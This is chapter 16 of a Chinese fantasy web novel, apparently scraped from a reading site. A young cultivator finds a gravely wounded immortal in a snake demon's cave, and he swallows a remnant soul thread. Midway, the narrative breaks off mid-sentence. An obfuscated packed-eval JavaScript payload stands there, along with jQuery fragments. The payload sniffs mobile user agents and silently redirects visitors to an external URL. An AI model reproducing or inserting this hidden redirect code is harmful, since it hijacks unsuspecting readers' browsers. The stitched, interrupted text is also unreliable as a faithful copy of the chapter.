16. 第 16 章

作品:《仙君妻

    碧霞回头,在洞口设下结界,然后,左右各一团澄盈盈的灵火燃起,照亮整个被掏空的洞穴。


    这蛇妖显然很有生活意趣,洞穴四壁凿得光滑,涂了防水的生漆,顶上嵌着各类流光溢彩的宝石与鳞片,就连脚下的枯草也轧得整整齐齐。


    火光照亮一切,在挂着火焰兰与紫藤萝装饰的墙角下,男人像是喝醉了酒一般,蜷缩在地面上。层层叠叠的衣袍凌乱如雪,在地上迤铺开,一只手紧紧握成拳放在身侧,指节握到泛白。


    这模样,像只掉进了鸡窝里的凤凰。


    蛇妖抬头颤巍巍地看一眼碧霞,用蛇尾巴打着她的脚后跟,催促她赶紧把这尊大佛抬走。


    “仙尊?”


    碧霞遂轻声叫了他一下,缓步过去,他的半边脸将将埋在屈起的膝盖里,浓睫垂盖着,眼眶像哭过那样,泛着红。


    越走近,越确认了,这果然就是明河,她感到无法置信,“天——你怎么会出现在这里?”


    碧霞在他身旁蹲下,手要落不落地停在他微微颤抖的肩背旁,整个人被担忧充斥。


    察觉到来者气息的清正,男人主动抬起了脸,蹙着一对俊秀的剑眉。


    那双烟蓝的眼眸依然没有凝光,聚着无法化开的灰砂色冷雾,但视线毫无疑问是落在她脸上的。


    碧霞以为他在审视,便矮着身退后半步,恭恭敬敬地解释道:“弟子是嘉应宗的一名术修,被魔兵追杀到此处,没想到遇见了仙尊。”


    两人虽有过短暂照面,还同乘过一只朱雀,但碧霞不保证他能记住她。


    不知有没有听进耳朵里,男人脸上没有任何反应,像呆住了,只是望着她。


    碧霞困惑地眨了眨眼,发觉他仍在小幅度地颤抖着。


    料想他是受伤了,她低下头,将储物袋里的那些灵丹妙药一股脑全都拿了出来,堆在地上。


    补气丹对修士来说是万能的灵药,不管是受伤还是灵气耗损,都需用大量补气丹稳住功体。她将装着上品鹤血补气丹几个瓷瓶划出来,亮莹莹地倒了几枚在手里,要喂他吃下去。


    明河仍在看着她,看着她要凑上来又有些怕的动作,两瓣淡淡玫紫色的唇忽然低喃出一声:“痛……”


    “痛?”碧霞的心霎时揪起来,双手一下握住他的肩,要将他蜷缩的上半身扯开,急道:“受伤了吗,让我看看。”


    男人顺从地往后躺倒,一股幽幽淡淡的松香味立即从怀里扑出来,伴随着护体神光的消隐,碧霞将真气渡入他体内。


    温热的真气包裹着灵脉,一丝丝,一缕缕,沿着每一寸脉络缓缓游走,这是修真界最常用来为修士检查内伤的方法。


    一名仙尊体内的灵脉比修真界所有的山川湖海加起来还要错综复杂。


    碧霞不是医修,为了不对明河造成第二次伤害,手上的动作便极为缓慢,但还是很快找到了那处内伤。


    因为他伤得很重。


    碧霞收回了手,难以置信地抵住微微发抖的唇:“你体内的的灵脉……?”


    那处位于心俞穴附近的重要灵脉,不知因何缘故,碎得跟河滩上的石头一样。


    真气到了这处,便无路可去了,完全泄散在男人体内。


    “药。”明河有些虚弱地抬起手,碧霞赶忙将手上的鹤血丹送过去,看他仰头吞下,盘起两条腿打坐,自顾自地调息起来。


    不消片刻,他身上那种脆弱的颤抖便停止了,周身回转的气劲将那头凌乱的银发理好,一丝不苟地垂伏在身后。


    伤口只是暂时压制,钻心的疼痛仍然在体内盘桓。他紧绷的神色甚至显得有些冷傲与不耐。


    但好歹,那种上位者惯有的沉稳、谨重的气度再次回到了他身上。


    碧霞一直担忧地看着他,她想他体内一定不止这一处内伤。


    可惜她不是医修,刚刚那会儿,没办法一下用真气将他所有的伤找出来。


    “是浩世镜。”


    察觉到女修的目光,明河主动解释起来,“在两界裂缝中时,浩世镜将本尊的灵脉切割破碎,想要汲取从中流失出来的灵力。”


    “什么……”灵脉被切断,对修士来说是伴随着巨痛的重伤,碧霞眉头深深皱了起来。


    “你身上还有别的伤吗?”她担心,不免多问些,倾着身显得很迫切:“让我再检查一下,我怕你——”


    男人有些不高兴地看过来,与先前相比,完全换了个人,“你是医修?”


    “我、我不是……”


    “那便不劳烦了。”他将目光收回去。


    碧霞哑然,也有些迷糊。那先前为何要让她探呢,还朝她喊痛。


    这时,蛇妖在一旁焦急地打起了转,鳞片将枯草摩擦出沙沙声,吐着信子嘶嘶地催促她。


    碧霞兀自陷在黯然失落的情绪里,自是没有注意到身后的声音。


    她垂下眼眸,却看到明河的右手仍旧用力紧握着,一直没有松开,像在攥着什么。


    碧霞鼓起勇气问:“仙尊,您的手痛吗?”


    男人原本正在进行深度的调息,闻言,困惑地移过目光。


    视线在触及身侧那只紧握的拳头后,他紧闭的双唇讶然地微微张开了一点,像是恍然大悟,或是失而复得,眸中现出一丝无法忽视的皎然神采。


    那只拳头被他珍重地举到面前,控制不住般,有些激动地抖了两下。其中一根瓷白的手指试探性地动了动。


    碧霞困惑地将男人的神态与动作尽收眼底,只觉得明河仿佛变成了一个小孩子,而手里攥着的是一只美丽的蝴蝶。


    正好奇着,一条散发着金色光芒,质地奇特的“线”忽然从明河指缝间溜了出来。


    迅捷轻然地,眨眼就飞到了半空中。


    “别走!”男人霎时一慌,急匆匆从地上爬起来,追着那条线往前跑。


    那线扭动的姿势极为怪异,仿佛拥有生命一样,像条剥了皮还没彻底死去的长蛇,迷茫地用最后的力气胡乱挣扎。


    挣扎着,便挣扎到了洞口。


    明河追着它跑了几步,在洞口处,急急地踮起脚,一伸长臂,将那条线重新握在了手里。


    他沉下肩膀,庆幸般地松了口气。只是那么一小段路,额头上便全是因为痛苦而涌出的汗珠。


    但无妨,金色的魂线在掌心扭动着,即使没有带来任何实质的触感,心中一股莫大的慰藉便胜过了所有。


    这是他在两界缝隙间发现的一缕残魂——素月的一缕残魂。


    即使他被浩世镜切断灵脉,承受巨大痛苦,又被颠颠倒倒地扔到这个鬼地方,他都下意识地没有松开手。


    三百年来,他为找回她的魂魄,已遍寻过妖魔凡灵四界,没想到,最终是在四界之外的空间狭缝中头一遭地有了收获。


    碧霞蹲着有些累了,顺势倒坐在旁边一枯草堆上,不解地问道:“仙尊,那是什么东西啊?”


    看着怪恶心的。既不像灵力,又不像寻常的丝线。


    男人自然没有闲心回答她,只将手腕翻转两下,几根节骨分明的手指便轻巧地夹持住了金线。


    然后他抬起手,将线凑到了有着淡淡玫紫色,晶莹削薄的唇边——


    碧霞呆呆地看着,就见那条跟蛔虫似的东西奋力扭动,一半阴差阳错,一半身不由己,眨个眼的功夫,进了明河的嘴里。


    后者缓缓闭紧了唇,额心现出一点寒芒,隐隐的金色灵纹在寒芒下浮现。


    碧霞额角抽痛,莫名地有几分害怕,想要叫他的名字。


    下一刻,明河忽然像被从脑后打了一闷棍,玉山倾颓般,高大的身体往前急急踉跄两步。


    风流气动,洞口处的结界受到干扰,亮了一瞬。


    男人半跪在地,灵力滔滔不绝地从体内爆冲出来,小小的洞穴开始摇颤,沙石簌簌抖落。


    明河咬着牙,一只手攥紧胸口前的衣衫,将拳头死命地往下压。


    血从嘴角溢出,鬓发滑落至身前,他恼怒地瞪起一双眼睛,神色转瞬间凶狠得像头野兽,无端端地朝空气喝斥:“给我安静!”


    轰——蛇洞的一个角落瞬间坍塌下来,尘土掩盖住放在下面的一对粗糙木雕。


    “哎呀……”蛇妖急得再次缠住了碧霞小腿,哀求道:“女侠,求你赶紧把他带出去吧!”


    “不好意思,等、等一会儿吧。”


    碧霞捏着耳朵坐在一旁,大气不敢出。从未想过,素来清厚端雅的仙尊还能有这种癫狂的样子。


    大概是被他的气势震慑到,碧霞才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946468|192644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    注意到男人嘴角的那抹鲜血。她眨了眨眼,后知后觉,这是他体内的伤势爆发了。


    像大腿被针扎了一下,碧霞从草堆上跳起来,冲过去要扶住明河。还未靠近,男人便歪着脖子,合上眼睛,往旁边缓缓地栽倒了。


    “仙尊!”碧霞连忙扶起他,让他靠在自己怀里。


    一探灵脉,先前吃下的鹤血补气丹全都浪费了,不只是灵脉碎得无法固气,气海也乱成一团,无数道气劲在体内翻搅不息。


    必须尽快带他离开,回宗接受救治才行。


    碧霞急急忙忙地将他揽在身上,正要迈步,谁知男人忽然不听话地挣扎起来,力道大得,将她也歪带在地上。


    你不要动了,她转头,想教训似的稍微说上那么一句。只是定睛看后,话便被吞了回去。


    男人白皙胜雪的皮肤上不知何时泛起了流动的灵光,从眉心朱砂开始,浮现出大片龟裂似的灵纹。


    这些骇人的灵纹一直往下蔓延,穿过整片脸颊,脖子,锁骨,最后停在了指尖。


    鲜红的血液从额间流淌下来,明河整个人似乎陷在巨大的痛苦中,身体无意识地打着颤。


    碧霞不知所措地愣在一旁,只觉得男人像变成了一只发光的茧,有什么要从他体内破茧而出,而他的身体会顺着这些灵纹碎成一片一片。


    内心被一种幻想带来的巨大恐惧攫住,她扑过去抱住他的胸口,下意识地喊道:“不要!”


    掌心,摁住他的心口,着急忙慌地为他渡气。


    所幸事情的发展不至于如想象中那么糟糕,那些流光开始从明河的皮肤上缓缓剥离,浮荡到半空中,凝成了几道灿烂的灵力河流。


    河流的尽头,所有灵力在身外汇聚成一个蓝白色的光团。


    不,光团是扁的,应该说这是一个光盘才对——


    如一轮圆月倾斜在两人的上方,足有一人那么宽,耀眼的光芒将整个蛇巢照得亮堂堂的。


    渐渐地,碧霞的耳朵听到了一种镜子碎裂般的咔咔声,似乎就从面前的光盘里传出来。


    她将双手从明河肋下穿过,快速把他往后拖了拖,同时跨到他身体的另一侧,将自己挡在他和那东西之间。


    灵脉被翻来覆去地挤榨,灵力被疯狂抽取,这一切,是宛如抽筋剥皮般的痛苦。


    明河将牙齿咬得咯咯作响,想要找寻倚靠般,断断续续地呢喃起来:“好痛……阿月……”


    碧霞听不太清,稍稍凑近了,那个名字便像小虫般钻进耳朵里,啃噬着耳膜,让整个脑袋嗡的一下。


    “不,我不是——”


    她陡地直起身,绸带似的灵力流淌在头顶,投下一丝薄薄的阴影和如水凉意。


    我不是素月,还是我不是故意的,碧霞张了张嘴,忽然不知道自己想说哪句。


    她调整了两下错乱的呼吸,抽出身上的短刃,盯着那几条从明河身上延伸出去,一直牵连到圆盘周围的灵力。


    属于一位仙尊的精纯灵力就像不要钱的流水,沿着既定路径奔流出体内,盈满整个陋室。


    蛇妖忽也不急了,躲在一旁偷摸汲取着逸散到空气中的力量。


    短刃在上面比划了两下,碧霞双手握着剑柄,正要将其中一条斩断——


    洞穴内,忽然炸起一阵哗啦啦的镜碎声,像谁猛地往地上摔了一面大镜子,吓人一跳。


    声音主要是从身后传来,她惊慌地扭过头,在看到身后的景象时,不禁瞪大了双眼。


    逼仄的洞穴内,无端端地出现了一名神采烨然的少年。


    他像只垂落的风筝,从半空缓缓降落到地面上,一身流光溢彩的精致衣袍,湛蓝色的双眼簇簇新,里面是毫不掩饰的欣喜。


    对于拥有生命,无法克制的蓬勃欣喜。


    “不愧是渡过了彩色劫云的修士,两层灵气便抵我上千年的修行,直接让我化形了。”少年看着自己的双手,有些无法置信。


    碧霞回过神,将短刃反握住,横在了身前,“喂,你是什么人?”


    “嗯?”少年目光自然而然落在那柄短刃上,然后才往上抬,对上碧霞的目光后,忽然露出一个轻蔑的神色。


    他勾起一张与明河极为相似的唇,得意笑道:“可惜你晚了一步。”